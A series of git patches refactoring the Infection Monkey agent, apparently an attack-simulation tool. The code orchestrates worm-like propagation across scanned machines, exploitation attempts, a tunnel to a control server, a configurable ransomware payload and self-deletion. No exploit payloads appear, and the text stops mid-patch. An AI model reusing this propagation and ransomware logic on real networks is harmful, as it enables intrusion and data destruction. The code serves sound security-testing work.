arg_parser.add_argument("-d", "--depth", type=int) arg_parser.add_argument("-vp", "--vulnerable-port") self._opts, self._args = arg_parser.parse_known_args(self._args) - self.log_arguments() + self._log_arguments() self._parent = self._opts.parent self._default_tunnel = self._opts.tunnel @@ -109,18 +108,25 @@ class InfectionMonkey(object): "Default server: %s is already in command servers list" % self._default_server ) + def _check_for_running_monkey(self): + if not self._singleton.try_lock(): + raise Exception("Another instance of the monkey is already running") + + def _log_arguments(self): + arg_string = " ".join([f"{key}: {value}" for key, value in vars(self._opts).items()]) + logger.info(f"Monkey started with arguments: {arg_string}") + def start(self): try: logger.info("Monkey is starting...") - # Sets the monkey up - self.setup() + self._setup() # Start post breach phase - self.start_post_breach() + self._start_post_breach_async() # Start propagation phase - self.start_propagation() + self._start_propagation() except PlannedShutdownException: logger.info( @@ -130,28 +136,28 @@ class InfectionMonkey(object): logger.exception("Planned shutdown, reason:") finally: - self.teardown() + self._teardown() - def setup(self): + def _setup(self): logger.debug("Starting the setup phase.") - self.shutdown_by_not_alive_config() + InfectionMonkey._shutdown_by_not_alive_config() # Sets island's IP and port for monkey to communicate to - self.set_default_server() - self.set_default_port() + self._set_default_server() + self._set_default_port() # Create a dir for monkey files if there isn't one create_monkey_dir() - self.upgrade_to_64_if_needed() - ControlClient.wakeup(parent=self._parent) ControlClient.load_control_config() if ControlClient.check_for_stop(): raise PlannedShutdownException("Monkey has been marked for shutdown.") + self._upgrade_to_64_if_needed() + if not ControlClient.should_monkey_run(self._opts.vulnerable_port): raise PlannedShutdownException( "Monkey shouldn't run on current machine " @@ -175,61 +181,53 @@ class InfectionMonkey(object): StateTelem(is_done=False, version=get_version()).send() TunnelTelem().send() - self.master.start() - register_signal_handlers(self.master) - def start_propagation(self): - if not InfectionMonkey.max_propagation_depth_reached(): - logger.info("Starting the propagation phase.") - logger.debug("Running with depth: %d" % WormConfiguration.depth) - self.propagate() - else: - logger.info("Maximum propagation depth has been reached; monkey will not propagate.") - TraceTelem(MAX_DEPTH_REACHED_MESSAGE).send() + self.master.start() - if self._keep_running and WormConfiguration.alive: - InfectionMonkey.run_ransomware() + @staticmethod + def _shutdown_by_not_alive_config(): + if not WormConfiguration.alive: + raise PlannedShutdownException("Marked 'not alive' from configuration.") - # if host was exploited, before continue to closing the tunnel ensure the exploited - # host had its chance to - # connect to the tunnel - if len(self._exploited_machines) > 0: - time_to_sleep = WormConfiguration.keep_tunnel_open_time - logger.info( - "Sleeping %d seconds for exploited machines to connect to tunnel", time_to_sleep + def _set_default_server(self): + """ + Sets the default server for the Monkey to communicate back to. + :raises PlannedShutdownException if couldn't find the server. + """ + if not ControlClient.find_server(default_tunnel=self._default_tunnel): + raise PlannedShutdownException( + "Monkey couldn't find server with {} default tunnel.".format(self._default_tunnel) ) - time.sleep(time_to_sleep) + self._default_server = WormConfiguration.current_server + logger.debug("default server set to: %s" % self._default_server) - def start_post_breach(self): + def _set_default_port(self): + try: + self._default_server_port = self._default_server.split(":")[1] + except KeyError: + self._default_server_port = "" + + def _upgrade_to_64_if_needed(self): + if WindowsUpgrader.should_upgrade(): + self._upgrading_to_64 = True + self._singleton.unlock() + logger.info("32bit monkey running on 64bit Windows. Upgrading.") + WindowsUpgrader.upgrade(self._opts) + raise PlannedShutdownException("Finished upgrading from 32bit to 64bit.") + + def _start_post_breach_async(self): logger.debug("Starting the post-breach phase asynchronously.") - self._post_breach_phase = Thread(target=self.start_post_breach_phase) + self._post_breach_phase = Thread(target=InfectionMonkey._start_post_breach_phase) self._post_breach_phase.start() - def teardown(self): - if self._monkey_tunnel: - self._monkey_tunnel.stop() - self._monkey_tunnel.join() - - if self._post_breach_phase: - self._post_breach_phase.join() - - if firewall.is_enabled(): - firewall.remove_firewall_rule() - firewall.close() - - self.master.terminate() - self.master.cleanup() - - def start_post_breach_phase(self): - self.collect_system_info_if_configured() + @staticmethod + def _start_post_breach_phase(): + InfectionMonkey._collect_system_info_if_configured() PostBreach().execute_all_configured() @staticmethod - def max_propagation_depth_reached(): - return 0 == WormConfiguration.depth - - def collect_system_info_if_configured(self): + def _collect_system_info_if_configured(): logger.debug("Calling for system info collection") try: system_info_collector = SystemInfoCollector() @@ -238,11 +236,32 @@ class InfectionMonkey(object): except Exception as e: logger.exception(f"Exception encountered during system info collection: {str(e)}") - def shutdown_by_not_alive_config(self): - if not WormConfiguration.alive: - raise PlannedShutdownException("Marked 'not alive' from configuration.") + def _start_propagation(self): + if not InfectionMonkey._max_propagation_depth_reached(): + logger.info("Starting the propagation phase.") + logger.debug("Running with depth: %d" % WormConfiguration.depth) + self._propagate() + else: + logger.info("Maximum propagation depth has been reached; monkey will not propagate.") + TraceTelem(MAX_DEPTH_REACHED_MESSAGE).send() - def propagate(self): + if self._keep_running and WormConfiguration.alive: + InfectionMonkey._run_ransomware() + + # if host was exploited, before continue to closing the tunnel ensure the exploited + # host had its chance to connect to the tunnel + if len(self._exploited_machines) > 0: + time_to_sleep = WormConfiguration.keep_tunnel_open_time + logger.info( + "Sleeping %d seconds for exploited machines to connect to tunnel", time_to_sleep + ) + time.sleep(time_to_sleep) + + @staticmethod + def _max_propagation_depth_reached(): + return 0 == WormConfiguration.depth + + def _propagate(self): ControlClient.keepalive() ControlClient.load_control_config() @@ -304,7 +323,7 @@ class InfectionMonkey(object): ) host_exploited = False for exploiter in [exploiter(machine) for exploiter in self._exploiters]: - if self.try_exploiting(machine, exploiter): + if self._try_exploiting(machine, exploiter): host_exploited = True VictimHostTelem("T1210", ScanStatus.USED, machine=machine).send() if exploiter.RUNS_AGENT_ON_SUCCESS: @@ -319,35 +338,125 @@ class InfectionMonkey(object): if not WormConfiguration.alive: logger.info("Marked not alive from configuration") - def upgrade_to_64_if_needed(self): - if WindowsUpgrader.should_upgrade(): - self._upgrading_to_64 = True - self._singleton.unlock() - logger.info("32bit monkey running on 64bit Windows. Upgrading.") - WindowsUpgrader.upgrade(self._opts) - raise PlannedShutdownException("Finished upgrading from 32bit to 64bit.") + def _try_exploiting(self, machine, exploiter): + """ + Workflow of exploiting one machine with one exploiter + :param machine: Machine monkey tries to exploit + :param exploiter: Exploiter to use on that machine + :return: True if successfully exploited, False otherwise + """ + if not exploiter.is_os_supported(): + logger.info( + "Skipping exploiter %s host:%r, os %s is not supported", + exploiter.__class__.__name__, + machine, + machine.os, + ) + return False + + logger.info( + "Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__ + ) + + result = False + try: + result = exploiter.exploit_host() + if result: + self._successfully_exploited(machine, exploiter, exploiter.RUNS_AGENT_ON_SUCCESS) + return True + else: + logger.info( + "Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__ + ) + except ExploitingVulnerableMachineError as exc: + logger.error( + "Exception while attacking %s using %s: %s", + machine, + exploiter.__class__.__name__, + exc, + ) + self._successfully_exploited(machine, exploiter, exploiter.RUNS_AGENT_ON_SUCCESS) + return True + except FailedExploitationError as e: + logger.info( + "Failed exploiting %r with exploiter %s, %s", + machine, + exploiter.__class__.__name__, + e, + ) + except Exception as exc: + logger.exception( + "Exception while attacking %s using %s: %s", + machine, + exploiter.__class__.__name__, + exc, + ) + finally: + exploiter.send_exploit_telemetry(exploiter.__class__.__name__, result) + return False + + def _successfully_exploited(self, machine, exploiter, RUNS_AGENT_ON_SUCCESS=True): + """ + Workflow of registering successfully exploited machine + :param machine: machine that was exploited + :param exploiter: exploiter that succeeded + """ + if RUNS_AGENT_ON_SUCCESS: + self._exploited_machines.add(machine) + + logger.info("Successfully propagated to %s using %s", machine, exploiter.__class__.__name__) + + # check if max-exploitation limit is reached + if WormConfiguration.victims_max_exploit <= len(self._exploited_machines): + self._keep_running = False + + logger.info("Max exploited victims reached (%d)", WormConfiguration.victims_max_exploit) + + @staticmethod + def _run_ransomware(): + try: + ransomware_payload = build_ransomware_payload(WormConfiguration.ransomware) + ransomware_payload.run_payload() + except Exception as ex: + logger.error(f"An unexpected error occurred while running the ransomware payload: {ex}") + + def _teardown(self): + logger.info("Monkey teardown started") + if self._monkey_tunnel: + self._monkey_tunnel.stop() + self._monkey_tunnel.join() + + if self._post_breach_phase: + self._post_breach_phase.join() + + if firewall.is_enabled(): + firewall.remove_firewall_rule() + firewall.close() + + self.master.terminate() + self.master.cleanup() def cleanup(self): logger.info("Monkey cleanup started") self._keep_running = False if self._upgrading_to_64: - InfectionMonkey.close_tunnel() + InfectionMonkey._close_tunnel() firewall.close() else: StateTelem( is_done=True, version=get_version() ).send() # Signal the server (before closing the tunnel) - InfectionMonkey.close_tunnel() + InfectionMonkey._close_tunnel() firewall.close() - self.send_log() + InfectionMonkey._send_log() self._singleton.unlock() - InfectionMonkey.self_delete() + InfectionMonkey._self_delete() logger.info("Monkey is shutting down") @staticmethod - def close_tunnel(): + def _close_tunnel(): tunnel_address = ( ControlClient.proxies.get("https", "").replace("https://", "").split(":")[0] ) @@ -356,7 +465,18 @@ class InfectionMonkey(object): tunnel.quit_tunnel(tunnel_address) @staticmethod - def self_delete(): + def _send_log(): + monkey_log_path = get_monkey_log_path() + if os.path.exists(monkey_log_path): + with open(monkey_log_path, "r") as f: + log = f.read() + else: + log = "" + + ControlClient.send_log(log) + + @staticmethod + def _self_delete(): status = ScanStatus.USED if remove_monkey_dir() else ScanStatus.SCANNED T1107Telem(status, get_monkey_dir_path()).send() @@ -385,117 +505,3 @@ class InfectionMonkey(object): status = ScanStatus.SCANNED if status: T1107Telem(status, sys.executable).send() - - def send_log(self): - monkey_log_path = get_monkey_log_path() - if os.path.exists(monkey_log_path): - with open(monkey_log_path, "r") as f: - log = f.read() - else: - log = "" - - ControlClient.send_log(log) - - def try_exploiting(self, machine, exploiter): - """ - Workflow of exploiting one machine with one exploiter - :param machine: Machine monkey tries to exploit - :param exploiter: Exploiter to use on that machine - :return: True if successfully exploited, False otherwise - """ - if not exploiter.is_os_supported(): - logger.info( - "Skipping exploiter %s host:%r, os %s is not supported", - exploiter.__class__.__name__, - machine, - machine.os, - ) - return False - - logger.info( - "Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__ - ) - - result = False - try: - result = exploiter.exploit_host() - if result: - self.successfully_exploited(machine, exploiter, exploiter.RUNS_AGENT_ON_SUCCESS) - return True - else: - logger.info( - "Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__ - ) - except ExploitingVulnerableMachineError as exc: - logger.error( - "Exception while attacking %s using %s: %s", - machine, - exploiter.__class__.__name__, - exc, - ) - self.successfully_exploited(machine, exploiter, exploiter.RUNS_AGENT_ON_SUCCESS) - return True - except FailedExploitationError as e: - logger.info( - "Failed exploiting %r with exploiter %s, %s", - machine, - exploiter.__class__.__name__, - e, - ) - except Exception as exc: - logger.exception( - "Exception while attacking %s using %s: %s", - machine, - exploiter.__class__.__name__, - exc, - ) - finally: - exploiter.send_exploit_telemetry(result) - return False - - def successfully_exploited(self, machine, exploiter, RUNS_AGENT_ON_SUCCESS=True): - """ - Workflow of registering successfully exploited machine - :param machine: machine that was exploited - :param exploiter: exploiter that succeeded - """ - if RUNS_AGENT_ON_SUCCESS: - self._exploited_machines.add(machine) - - logger.info("Successfully propagated to %s using %s", machine, exploiter.__class__.__name__) - - # check if max-exploitation limit is reached - if WormConfiguration.victims_max_exploit <= len(self._exploited_machines): - self._keep_running = False - - logger.info("Max exploited victims reached (%d)", WormConfiguration.victims_max_exploit) - - def set_default_port(self): - try: - self._default_server_port = self._default_server.split(":")[1] - except KeyError: - self._default_server_port = "" - - def set_default_server(self): - """ - Sets the default server for the Monkey to communicate back to. - :raises PlannedShutdownException if couldn't find the server. - """ - if not ControlClient.find_server(default_tunnel=self._default_tunnel): - raise PlannedShutdownException( - "Monkey couldn't find server with {} default tunnel.".format(self._default_tunnel) - ) - self._default_server = WormConfiguration.current_server - logger.debug("default server set to: %s" % self._default_server) - - def log_arguments(self): - arg_string = " ".join([f"{key}: {value}" for key, value in vars(self._opts).items()]) - logger.info(f"Monkey started with arguments: {arg_string}") - - @staticmethod - def run_ransomware(): - try: - ransomware_payload = build_ransomware_payload(WormConfiguration.ransomware) - ransomware_payload.run_payload() - except Exception as ex: - logger.error(f"An unexpected error occurred while running the ransomware payload: {ex}") From 75226bdf6edf650cd374f89a9f6685fbd4371deb Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 26 Nov 2021 18:34:19 +0530 Subject: [PATCH 0036/1110] Agent: Comment out mock master things in monkey.py So that both 'masters' don't run at the same time. To test the mock master, un-comment the lines in this commit and comment the lines `self._start_post_breach_async()` and `self._start_propagation()` in `start()`. --- monkey/infection_monkey/monkey.py | 28 ++++++++++++++++------------ 1 file changed, 16 insertions(+), 12 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 88ca20b98..184a940bf 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -13,23 +13,26 @@ from common.version import get_version from infection_monkey.config import WormConfiguration from infection_monkey.control import ControlClient from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.master.mock_master import MockMaster + +# from infection_monkey.master.mock_master import MockMaster from infection_monkey.model import DELAY_DELETE_CMD from infection_monkey.network.firewall import app as firewall from infection_monkey.network.HostFinger import HostFinger from infection_monkey.network.network_scanner import NetworkScanner from infection_monkey.network.tools import get_interface_to_target, is_running_on_island from infection_monkey.post_breach.post_breach_handler import PostBreach -from infection_monkey.puppet.mock_puppet import MockPuppet + +# from infection_monkey.puppet.mock_puppet import MockPuppet from infection_monkey.ransomware.ransomware_payload_builder import build_ransomware_payload from infection_monkey.system_info import SystemInfoCollector from infection_monkey.system_singleton import SystemSingleton from infection_monkey.telemetry.attack.t1106_telem import T1106Telem from infection_monkey.telemetry.attack.t1107_telem import T1107Telem from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem -from infection_monkey.telemetry.messengers.legacy_telemetry_messenger_adapter import ( - LegacyTelemetryMessengerAdapter, -) + +# from infection_monkey.telemetry.messengers.legacy_telemetry_messenger_adapter import ( +# LegacyTelemetryMessengerAdapter, +# ) from infection_monkey.telemetry.scan_telem import ScanTelem from infection_monkey.telemetry.state_telem import StateTelem from infection_monkey.telemetry.system_info_telem import SystemInfoTelem @@ -43,7 +46,8 @@ from infection_monkey.utils.monkey_dir import ( remove_monkey_dir, ) from infection_monkey.utils.monkey_log_path import get_monkey_log_path -from infection_monkey.utils.signal_handler import register_signal_handlers + +# from infection_monkey.utils.signal_handler import register_signal_handlers from infection_monkey.windows_upgrader import WindowsUpgrader MAX_DEPTH_REACHED_MESSAGE = "Reached max depth, skipping propagation phase." @@ -54,7 +58,7 @@ logger = logging.getLogger(__name__) class InfectionMonkey(object): def __init__(self, args): - self.master = MockMaster(MockPuppet(), LegacyTelemetryMessengerAdapter()) + # self.master = MockMaster(MockPuppet(), LegacyTelemetryMessengerAdapter()) self._keep_running = False self._exploited_machines = set() self._fail_exploitation_machines = set() @@ -128,6 +132,8 @@ class InfectionMonkey(object): # Start propagation phase self._start_propagation() + # self.master.start() + except PlannedShutdownException: logger.info( "A planned shutdown of the Monkey occurred. Logging the reason and finishing " @@ -181,9 +187,7 @@ class InfectionMonkey(object): StateTelem(is_done=False, version=get_version()).send() TunnelTelem().send() - register_signal_handlers(self.master) - - self.master.start() + # register_signal_handlers(self.master) @staticmethod def _shutdown_by_not_alive_config(): @@ -433,8 +437,8 @@ class InfectionMonkey(object): firewall.remove_firewall_rule() firewall.close() - self.master.terminate() - self.master.cleanup() + # self.master.terminate() + # self.master.cleanup() def cleanup(self): logger.info("Monkey cleanup started") From 72f4fc1ef6aa7d5ce2f9df45efb786a2c52f1759 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 29 Nov 2021 18:34:25 +0100 Subject: [PATCH 0037/1110] Agent: Remove intialize both from monkey and dropper Add legacy start and cleanup to the agent which are the same code reformated in the previous commits. Reformat start function. --- monkey/infection_monkey/dropper.py | 5 +- monkey/infection_monkey/main.py | 8 +- monkey/infection_monkey/master/mock_master.py | 4 + monkey/infection_monkey/monkey.py | 263 ++++++++++++------ 4 files changed, 192 insertions(+), 88 deletions(-) diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py index f74767cef..30be3798e 100644 --- a/monkey/infection_monkey/dropper.py +++ b/monkey/infection_monkey/dropper.py @@ -55,10 +55,9 @@ class MonkeyDrops(object): "destination_path": self.opts.location, } - def initialize(self): logger.debug("Dropper is running with config:\n%s", pprint.pformat(self._config)) - def start(self): + def legacy_start(self): if self._config["destination_path"] is None: logger.error("No destination path specified") return False @@ -183,7 +182,7 @@ class MonkeyDrops(object): if monkey_process.poll() is not None: logger.warning("Seems like monkey died too soon") - def cleanup(self): + def legacy_cleanup(self): logger.info("Cleaning up the dropper") try: diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py index bb08f4b4f..fac31bf78 100644 --- a/monkey/infection_monkey/main.py +++ b/monkey/infection_monkey/main.py @@ -118,16 +118,16 @@ def main(): logger.info(f"version: {get_version()}") monkey = monkey_cls(monkey_args) - monkey.initialize() try: - monkey.start() - + monkey.legacy_start() + # monkey.start() return True except Exception as e: logger.exception("Exception thrown from monkey's start function. More info: {}".format(e)) finally: - monkey.cleanup() + monkey.legacy_cleanup() + # monkey.cleanup() if "__main__" == __name__: diff --git a/monkey/infection_monkey/master/mock_master.py b/monkey/infection_monkey/master/mock_master.py index 41d478b93..e78519a43 100644 --- a/monkey/infection_monkey/master/mock_master.py +++ b/monkey/infection_monkey/master/mock_master.py @@ -46,6 +46,9 @@ class MockMaster(IMaster): logger.info("Finished running system info collectors") def _run_pbas(self): + + # TODO: Create monkey_dir and revise setup in monkey.py + logger.info("Running post breach actions") name = "AccountDiscovery" command, result = self._puppet.run_pba(name, {}) @@ -123,4 +126,5 @@ class MockMaster(IMaster): logger.info("Terminating MockMaster") def cleanup(self) -> None: + # TODO: Cleanup monkey_dir and send telemetry pass diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 184a940bf..16a948d75 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -13,26 +13,23 @@ from common.version import get_version from infection_monkey.config import WormConfiguration from infection_monkey.control import ControlClient from infection_monkey.exploit.HostExploiter import HostExploiter - -# from infection_monkey.master.mock_master import MockMaster +from infection_monkey.master.mock_master import MockMaster from infection_monkey.model import DELAY_DELETE_CMD from infection_monkey.network.firewall import app as firewall from infection_monkey.network.HostFinger import HostFinger from infection_monkey.network.network_scanner import NetworkScanner from infection_monkey.network.tools import get_interface_to_target, is_running_on_island from infection_monkey.post_breach.post_breach_handler import PostBreach - -# from infection_monkey.puppet.mock_puppet import MockPuppet +from infection_monkey.puppet.mock_puppet import MockPuppet from infection_monkey.ransomware.ransomware_payload_builder import build_ransomware_payload from infection_monkey.system_info import SystemInfoCollector from infection_monkey.system_singleton import SystemSingleton from infection_monkey.telemetry.attack.t1106_telem import T1106Telem from infection_monkey.telemetry.attack.t1107_telem import T1107Telem from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem - -# from infection_monkey.telemetry.messengers.legacy_telemetry_messenger_adapter import ( -# LegacyTelemetryMessengerAdapter, -# ) +from infection_monkey.telemetry.messengers.legacy_telemetry_messenger_adapter import ( + LegacyTelemetryMessengerAdapter, +) from infection_monkey.telemetry.scan_telem import ScanTelem from infection_monkey.telemetry.state_telem import StateTelem from infection_monkey.telemetry.system_info_telem import SystemInfoTelem @@ -46,8 +43,7 @@ from infection_monkey.utils.monkey_dir import ( remove_monkey_dir, ) from infection_monkey.utils.monkey_log_path import get_monkey_log_path - -# from infection_monkey.utils.signal_handler import register_signal_handlers +from infection_monkey.utils.signal_handler import register_signal_handlers from infection_monkey.windows_upgrader import WindowsUpgrader MAX_DEPTH_REACHED_MESSAGE = "Reached max depth, skipping propagation phase." @@ -58,51 +54,49 @@ logger = logging.getLogger(__name__) class InfectionMonkey(object): def __init__(self, args): - # self.master = MockMaster(MockPuppet(), LegacyTelemetryMessengerAdapter()) + logger.info("Monkey is initializing...") + self.master = MockMaster(MockPuppet(), LegacyTelemetryMessengerAdapter()) self._keep_running = False self._exploited_machines = set() self._fail_exploitation_machines = set() self._singleton = SystemSingleton() - self._parent = None - self._default_tunnel = None - self._args = args - self._network = None + self._opts = None + self._set_arguments(args) + self._parent = self._opts.parent + self._default_tunnel = self._opts.tunnel + self._default_server = self._opts.server + self._set_propagation_depth() + self._add_default_server_to_config() + self._network = NetworkScanner() self._exploiters = None self._fingerprint = None - self._default_server = None self._default_server_port = None - self._opts = None self._upgrading_to_64 = False self._monkey_tunnel = None self._post_breach_phase = None - def initialize(self): - logger.info("Monkey is initializing...") - - self._check_for_running_monkey() - + def _set_arguments(self, args): arg_parser = argparse.ArgumentParser() arg_parser.add_argument("-p", "--parent") arg_parser.add_argument("-t", "--tunnel") arg_parser.add_argument("-s", "--server") arg_parser.add_argument("-d", "--depth", type=int) arg_parser.add_argument("-vp", "--vulnerable-port") - self._opts, self._args = arg_parser.parse_known_args(self._args) + self._opts, _ = arg_parser.parse_known_args(args) self._log_arguments() - self._parent = self._opts.parent - self._default_tunnel = self._opts.tunnel - self._default_server = self._opts.server + def _log_arguments(self): + arg_string = " ".join([f"{key}: {value}" for key, value in vars(self._opts).items()]) + logger.info(f"Monkey started with arguments: {arg_string}") + def _set_propagation_depth(self): if self._opts.depth is not None: WormConfiguration._depth_from_commandline = True WormConfiguration.depth = self._opts.depth logger.debug("Setting propagation depth from command line") logger.debug(f"Set propagation depth to {WormConfiguration.depth}") - self._keep_running = True - self._network = NetworkScanner() - + def _add_default_server_to_config(self): if self._default_server: if self._default_server not in WormConfiguration.command_servers: logger.debug("Added default server: %s" % self._default_server) @@ -112,28 +106,38 @@ class InfectionMonkey(object): "Default server: %s is already in command servers list" % self._default_server ) - def _check_for_running_monkey(self): - if not self._singleton.try_lock(): - raise Exception("Another instance of the monkey is already running") - - def _log_arguments(self): - arg_string = " ".join([f"{key}: {value}" for key, value in vars(self._opts).items()]) - logger.info(f"Monkey started with arguments: {arg_string}") - def start(self): + if not self._is_another_monkey_running(): + + logger.info("Monkey is starting...") + + self._connect_to_island() + + if InfectionMonkey._is_monkey_alive_by_config(): + logger.error("Monkey marked 'not alive' from configuration.") + return + + if InfectionMonkey._is_upgrade_to_64_needed(): + self._upgrade_to_64() + return + + self._setup() + self.master.start() + else: + logger.info("Another instance of the monkey is already running") + + def legacy_start(self): + if self._is_another_monkey_running(): + raise Exception("Another instance of the monkey is already running") try: logger.info("Monkey is starting...") - # Sets the monkey up - self._setup() - # Start post breach phase + self._legacy_setup() + self._start_post_breach_async() - # Start propagation phase self._start_propagation() - # self.master.start() - except PlannedShutdownException: logger.info( "A planned shutdown of the Monkey occurred. Logging the reason and finishing " @@ -141,28 +145,103 @@ class InfectionMonkey(object): ) logger.exception("Planned shutdown, reason:") - finally: - self._teardown() - - def _setup(self): - logger.debug("Starting the setup phase.") - - InfectionMonkey._shutdown_by_not_alive_config() - + def _connect_to_island(self): # Sets island's IP and port for monkey to communicate to - self._set_default_server() + if not self._is_default_server_set(): + raise Exception( + "Monkey couldn't find server with {} default tunnel.".format(self._default_tunnel) + ) self._set_default_port() - # Create a dir for monkey files if there isn't one - create_monkey_dir() - ControlClient.wakeup(parent=self._parent) ControlClient.load_control_config() - if ControlClient.check_for_stop(): - raise PlannedShutdownException("Monkey has been marked for shutdown.") + def _is_default_server_set(self) -> bool: + """ + Sets the default server for the Monkey to communicate back to. + :return + """ + if not ControlClient.find_server(default_tunnel=self._default_tunnel): + return False + self._default_server = WormConfiguration.current_server + logger.debug("default server set to: %s" % self._default_server) + return True - self._upgrade_to_64_if_needed() + @staticmethod + def _is_monkey_alive_by_config(): + return not WormConfiguration.alive + + @staticmethod + def _is_upgrade_to_64_needed(): + return WindowsUpgrader.should_upgrade() + + def _upgrade_to_64(self): + self._upgrading_to_64 = True + self._singleton.unlock() + logger.info("32bit monkey running on 64bit Windows. Upgrading.") + WindowsUpgrader.upgrade(self._opts) + logger.info("Finished upgrading from 32bit to 64bit.") + + def _legacy_upgrade_to_64_if_needed(self): + if WindowsUpgrader.should_upgrade(): + self._upgrading_to_64 = True + self._singleton.unlock() + logger.info("32bit monkey running on 64bit Windows. Upgrading.") + WindowsUpgrader.upgrade(self._opts) + raise PlannedShutdownException("Finished upgrading from 32bit to 64bit.") + + def _setup(self): + logger.debug("Starting the setup phase.") + + # Create a dir for monkey files if there isn't one + create_monkey_dir() + + # TODO: Evaluate should we run this check + # if not ControlClient.should_monkey_run(self._opts.vulnerable_port): + # logger.error("Monkey shouldn't run on current machine " + # "(it will be exploited later with more depth).") + # return False + + # Singleton should handle sending this information + if is_windows_os(): + T1106Telem(ScanStatus.USED, UsageEnum.SINGLETON_WINAPI).send() + + if is_running_on_island(): + WormConfiguration.started_on_island = True + ControlClient.report_start_on_island() + + if firewall.is_enabled(): + firewall.add_firewall_rule() + + self._monkey_tunnel = ControlClient.create_control_tunnel() + if self._monkey_tunnel: + self._monkey_tunnel.start() + + StateTelem(is_done=False, version=get_version()).send() + TunnelTelem().send() + + register_signal_handlers(self.master) + + return True + + def _legacy_setup(self): + logger.debug("Starting the setup phase.") + + self._keep_running = True + + # Create a dir for monkey files if there isn't one + create_monkey_dir() + + # Sets island's IP and port for monkey to communicate to + self._legacy_set_default_server() + self._set_default_port() + + ControlClient.wakeup(parent=self._parent) + ControlClient.load_control_config() + + InfectionMonkey._legacy_shutdown_by_not_alive_config() + + self._legacy_upgrade_to_64_if_needed() if not ControlClient.should_monkey_run(self._opts.vulnerable_port): raise PlannedShutdownException( @@ -187,14 +266,10 @@ class InfectionMonkey(object): StateTelem(is_done=False, version=get_version()).send() TunnelTelem().send() - # register_signal_handlers(self.master) + def _is_another_monkey_running(self): + return not self._singleton.try_lock() - @staticmethod - def _shutdown_by_not_alive_config(): - if not WormConfiguration.alive: - raise PlannedShutdownException("Marked 'not alive' from configuration.") - - def _set_default_server(self): + def _legacy_set_default_server(self): """ Sets the default server for the Monkey to communicate back to. :raises PlannedShutdownException if couldn't find the server. @@ -212,13 +287,10 @@ class InfectionMonkey(object): except KeyError: self._default_server_port = "" - def _upgrade_to_64_if_needed(self): - if WindowsUpgrader.should_upgrade(): - self._upgrading_to_64 = True - self._singleton.unlock() - logger.info("32bit monkey running on 64bit Windows. Upgrading.") - WindowsUpgrader.upgrade(self._opts) - raise PlannedShutdownException("Finished upgrading from 32bit to 64bit.") + @staticmethod + def _legacy_shutdown_by_not_alive_config(): + if not WormConfiguration.alive: + raise PlannedShutdownException("Marked 'not alive' from configuration.") def _start_post_breach_async(self): logger.debug("Starting the post-breach phase asynchronously.") @@ -424,8 +496,9 @@ class InfectionMonkey(object): except Exception as ex: logger.error(f"An unexpected error occurred while running the ransomware payload: {ex}") - def _teardown(self): - logger.info("Monkey teardown started") + def legacy_cleanup(self): + logger.info("Monkey cleanup started") + self._keep_running = False if self._monkey_tunnel: self._monkey_tunnel.stop() self._monkey_tunnel.join() @@ -437,13 +510,6 @@ class InfectionMonkey(object): firewall.remove_firewall_rule() firewall.close() - # self.master.terminate() - # self.master.cleanup() - - def cleanup(self): - logger.info("Monkey cleanup started") - self._keep_running = False - if self._upgrading_to_64: InfectionMonkey._close_tunnel() firewall.close() @@ -456,6 +522,41 @@ class InfectionMonkey(object): InfectionMonkey._send_log() self._singleton.unlock() + # self.master.terminate() + # self.master.cleanup() + + InfectionMonkey._self_delete() + logger.info("Monkey is shutting down") + + def cleanup(self): + logger.info("Monkey cleanup started") + self._keep_running = False + if self._monkey_tunnel: + self._monkey_tunnel.stop() + self._monkey_tunnel.join() + + if self._post_breach_phase: + self._post_breach_phase.join() + + if firewall.is_enabled(): + firewall.remove_firewall_rule() + firewall.close() + + if self._upgrading_to_64: + InfectionMonkey._close_tunnel() + firewall.close() + else: + StateTelem( + is_done=True, version=get_version() + ).send() # Signal the server (before closing the tunnel) + InfectionMonkey._close_tunnel() + firewall.close() + InfectionMonkey._send_log() + self._singleton.unlock() + + self.master.terminate() + self.master.cleanup() + InfectionMonkey._self_delete() logger.info("Monkey is shutting down") From f8441f2d7f6e37775dbe200994c525954f703fb3 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 29 Nov 2021 19:57:25 +0100 Subject: [PATCH 0038/1110] Agent: Refactor the new start and cleanup function --- monkey/infection_monkey/monkey.py | 117 +++++++++++++++--------------- 1 file changed, 57 insertions(+), 60 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 16a948d75..bfbf270dc 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -55,7 +55,7 @@ logger = logging.getLogger(__name__) class InfectionMonkey(object): def __init__(self, args): logger.info("Monkey is initializing...") - self.master = MockMaster(MockPuppet(), LegacyTelemetryMessengerAdapter()) + self._master = MockMaster(MockPuppet(), LegacyTelemetryMessengerAdapter()) self._keep_running = False self._exploited_machines = set() self._fail_exploitation_machines = set() @@ -107,24 +107,28 @@ class InfectionMonkey(object): ) def start(self): - if not self._is_another_monkey_running(): - - logger.info("Monkey is starting...") - - self._connect_to_island() - - if InfectionMonkey._is_monkey_alive_by_config(): - logger.error("Monkey marked 'not alive' from configuration.") - return - - if InfectionMonkey._is_upgrade_to_64_needed(): - self._upgrade_to_64() - return - - self._setup() - self.master.start() - else: + if self._is_another_monkey_running(): logger.info("Another instance of the monkey is already running") + return + + logger.info("Monkey is starting...") + + self._connect_to_island() + + # TODO: Reevaluate who is responsible to send this information + if is_windows_os(): + T1106Telem(ScanStatus.USED, UsageEnum.SINGLETON_WINAPI).send() + + if 